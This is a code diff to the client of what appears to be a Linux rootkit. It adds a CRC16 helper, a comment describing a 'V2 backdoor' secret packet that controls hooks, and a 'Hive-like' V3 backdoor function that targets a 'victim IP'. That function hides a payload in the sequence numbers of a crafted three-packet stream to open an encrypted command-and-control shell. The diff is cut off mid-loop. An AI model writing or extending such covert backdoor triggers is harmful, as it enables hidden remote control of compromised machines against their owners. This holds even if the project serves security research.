diff --git a/src/client/client.c b/src/client/client.c index baa82c9..8a82001 100644 --- a/src/client/client.c +++ b/src/client/client.c @@ -83,6 +83,18 @@ char* getLocalIpAddress(){ return IPbuffer; } +unsigned short crc16(const unsigned char* data_p, unsigned char length){ + unsigned char x; + unsigned short crc = 0xFFFF; + + while (length--){ + x = crc >> 8 ^ *data_p++; + x ^= x>>4; + crc = (crc << 8) ^ ((unsigned short)(x << 12)) ^ ((unsigned short)(x <<5)) ^ ((unsigned short)x); + } + return crc; +} + /*void get_shell(char* argv){ char* local_ip = getLocalIpAddress(); @@ -242,6 +254,7 @@ void activate_command_control_shell_encrypted(char* argv){ server_run(8500); } +//For V2 backdoor - Sends secret packet that control state of hooks void hook_control_command(char* argv, int mode){ char* local_ip = getLocalIpAddress(); printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv); @@ -297,6 +310,56 @@ void hook_control_command(char* argv, int mode){ } } +//Rootkit backdoor V3 being used - Hive-like +void activate_command_control_shell_encrypted_multi_packet(char* argv){ + char* local_ip = getLocalIpAddress(); + printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv); + check_ip_address_format(argv); + printf("["KBLU"INFO"RESET"]""Crafting malicious packet stream...\n"); + + //Stream of 3 packets, 4 bytes on each if using sequence numbers for hiding the payload + const int PAYLOAD_LEN = 12; + const int STREAM_PACKET_CAPACITY_BYTES = 4; + stream_t stream = build_standard_packet_stream_empty_payload(PAYLOAD_LEN/STREAM_PACKET_CAPACITY_BYTES, 8000, 9000, local_ip, argv); + char *payload = calloc(PAYLOAD_LEN, sizeof(char)); + srand(time(NULL)); + for(int ii=0; ii